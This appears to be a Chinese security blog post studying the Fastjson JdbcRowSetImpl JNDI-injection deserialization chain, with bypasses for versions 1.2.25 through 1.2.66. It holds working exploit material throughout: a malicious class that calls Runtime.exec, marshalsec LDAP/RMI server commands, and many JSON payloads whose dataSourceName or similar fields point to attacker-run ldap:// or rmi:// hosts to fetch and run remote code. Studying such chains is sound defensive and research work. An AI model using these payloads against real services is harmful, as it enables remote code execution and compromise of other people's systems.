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JdbcRowSetImpl

接着继续学习fastjson的第二条链JdbcRowSetImpl，主要是利用jndi注入达到的攻击，而且没有什么利用限制，而且其原理就是setter的自动调用，具体setter调用代码可以参考上篇文章调试的部分

1、漏洞复现

1.1、组件依赖版本

fastjson:1.2.22-1.2.24

1.2、利用方式

不像TemplatesImpl链需要指定的利用方式，JdbcRowSetImpl链只需要可以控制输入就能利用。

JSON.parse(evil);
JSON.parseObject(evil);
JSON.parseObject(evil, Object.class);

当然对jdk的版本有需求，因为高版本jdk对jndi和rmi有限制，在rmi篇也有说明这里再次贴出，方便自己以后查看

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

图为阿里云应用

1.3、漏洞复现

准备恶意的代码

import java.io.IOException;

public class EXP {
    public EXP() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
}

编译恶意代码

javac EXP.java

开启http服务

python3 -m http.server

用marshalsec开jndi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#EXP 1389

使用JdbcRowSetImpl构造poc，成功弹窗

package com.akkacloud.demo;

import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        try {
            jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP");
            jdbcRowSet.setAutoCommit(true);
        } catch (SQLException throwables) {
            throwables.printStackTrace();
        }

    }
}

因为fastjson会自动调用setter和getter，具体可以看

Poc调试的那部分,所以我们就可以构造处fastjson的poc

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}

我们JSON.parse()试一下

poc

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {
        String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
        JSON.parse(exp);
    }
}

1.4、利用链调试

这次我们就直接跳过fastjson的利用链，因为在TemplateImpl中已经详细跟进过，我们直接进入到 jdbcRowImpl，在setDataSourceName方法打下断点，其实看调用栈也是可以看出，前半部分是跟TemplatesImpl链是一样的，一个调用的是getOutputproperties，一个是setDataSourceName。

我们继续看，先判断DataSourceName的是否为null，不为就调用父类方法赋值，我们也跟进去看看

可以看到就是简单的dataSource赋值，然后就到setAutoCommit

就是判断this.conn是否为null，null就调用this.connect()方法赋值，我们也跟进去看看

跟进来发现，获取上下文然调用lookup方法，参数就是我们获取我们前面赋值dataSource

然后就成功执行代码了

2、漏洞绕过

前面的两条链都是的Fastjson版本都是1.2.22-1.2.24,后面就是绕过了。

2.1、Fastjson:1.2.25-1.2.41

我们先把依赖版本改成1.2.25,再次执行poc发现不行了，报错，说autotype不支持，我们比较一下两个包

我们在TemplatesImpl时，看过这段代码,this.config是ParserConfig，而ref是templatesImpl，他用checkAutoType检查了ref,我们看看他怎么检查的，我们在此处打下断点

确实在1.2.25会使用checkAutoType来校验ref(TemplatesImpl)，我们跟进去发现要调用TypeUtils.loadClass，需要进入if，但是this.autoTypeSupport默认为false，所以进不去，

而且在1.2.25版本中默认为flase，我们需要把this.autoTypeSupport设置为true，

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

然后到了this.acceptList(白名单)，因为他本身就是空的

然后就是黑名单denyList，我们看看是什么东西，发现我们com.sun包就在这里和其他的一些利用链类。

那我们应该怎么办呢？我们怎办才能进入TypeUtils.loadClass(typeName, this.defaultClassLoader)，大佬们是跟进去TypeUtils.loadClass方法，发现了绕过方法，我们也跟进去。

跟进来发现，一种是@Type字段开头是 ”[“，另一种“L”开头与“;”结尾，他就会从第二个字符获取我们的className。

所以我们就可以构造新的payload,前提掉件就是AutoTypeSupport要为ture

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 必须显示关闭白名单
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String exp = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
JSON.parseObject(exp);

2.2、Fastjson:1.2.42

我们继续修改fastjson版本为1.2.42，继续报错autotype不支持，应该是黑名单问题。

我们调试点依旧打在checkAutoType，继续跟进看看

进来发现一堆hash，但是扔然进入到我们的第一红框，把className的"L"和";"去除掉了。

而且hash的加密方式就在com.alibaba.fastjson.util.TypeUtils#fnv1a_64，我们只需要通过把恶意的类通过碰撞hash就可以获取黑名单了，项目地址:https://github.com/LeadroyaL/fastjson-blacklist

因为前面已经去除过一次"L"和";"，所以是进入不到if，我们用双写就可以绕过了。

修改payload

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

        String exp = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(exp);
    }
}

2.3、Fastjson:1.2.43

1.2.43就是在原有的基础上对"LL"做了判定，是就直接抛出异常

但是"["还是可以

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/EXP", "autoCommit":true}

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

 /* JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
 try {
 jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP");
 jdbcRowSet.setAutoCommit(true);
 } catch (SQLException throwables) {
 throwables.printStackTrace();
 }*/

        String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://localhost:1389/EXP\", \"autoCommit\":true}" ;

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(exp);
    }
}

2.4、Fastjson:1.2.44

对[进行限制

2.5、Fastjson:1.2.45

利用条件需要目标服务端存在mybatis的jar包，且版本需为3.x.x系列<3.5.0的版本。

<dependency>
  <groupId>org.apache.ibatisgroupId>
  <artifactId>ibatis-coreartifactId>
  <version>3.0version>
dependency>

用的是rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://localhost:8000/#EXP 1099

poc

//需要有第三方组件ibatis-core 3:0
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data\_source":"rmi://localhost:1099/Exploit"}}

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

        String exp = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data\_source\":\"rmi://localhost:1099/EXP\"}}" ;

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(exp);
    }
}

这里采用的跟前面的方式不一样，学习一下

@type指定的是JndiDataSourceFactory类，调用的是setProperties,原理依然是fastJson会自动调用getter和setter方法。我们跟进setProperties看看

到了这里就是会lookup，传入的json字符串data_source,造成RCE

2.6、1.2.25-1.2.47通杀

没有autotype限制和黑名单限制

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Exploit", 
        "autoCommit": true
    }
}

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

    String exp = "{\"a\": {\"@type\": \"java.lang.Class\",\"val\": \"com.sun.rowset.JdbcRowSetImpl\"},\"b\": {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://localhost:1389/EXP\",\"autoCommit\": true}}";

        JSON.parseObject(exp);
    }
}

我们跟进分析学习，在checkAutoType,因为我们第一个传入的是@Type是java.lang.Class，也没有把autoTypeSupport设置为true，所以会通过TypeUtils.getClassFromMapping(typeName)去查找，或者从this.deserializers.findClass(typeName)寻找。

在this.deserializers中找到了java.lang.Class，然后就直接返回了clazz，

我们回到上一层DefaultJSONParser的parseObject方法，然后我们继续走到下面

获取了java.lang.Class的反序列化处理类，com.alibaba.fastjson.serializer.MiscCodec，然后执行deserializer.deserialze(),跟进去

进入MiscCodec.deserialze()，我们直接进入重点parser.parse()，这个方法就是用来获取val值的，我们跟进去看看

其实就是遍历获取val的值，然后返回

然后赋值给strVal

然后就是一堆if判断，走到TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader())，把strVal传进去

跟进来，在mapping里面存入了jdbcRowSetImpl，就是存入了mapping缓存

跟着程序继续来到checkAutoType()，跟进去。

会在mapping中查询jdbcRowImpl，因为我们已经存进去，所以clazz就能获取到，然后返回，我回到上一层

走到这，成功获取到jdbcRowSetImpl，然后就是自动自行我们的set方法，setDataSourceName、setautoCommit执行lookup，造成rce

2.7、Fastjson:1.2.48

黑名单多了两条，MiscCodec中将默认传入的cache变为false，checkAutoType()调整了逻辑

2.8、Fastjson:1.2.62

• 需要开启AutoType；
• Fastjson <= 1.2.62；
• JNDI注入利用所受的JDK版本限制；
• 目标服务端需要存在xbean-reflect包；

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

2.9、Fastjson:1.2.66

// 需要autotype true
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

参考链接
https://y4er.com/post/fastjson-learn/
https://blog.csdn.net/nice0e3/p/14776043.html

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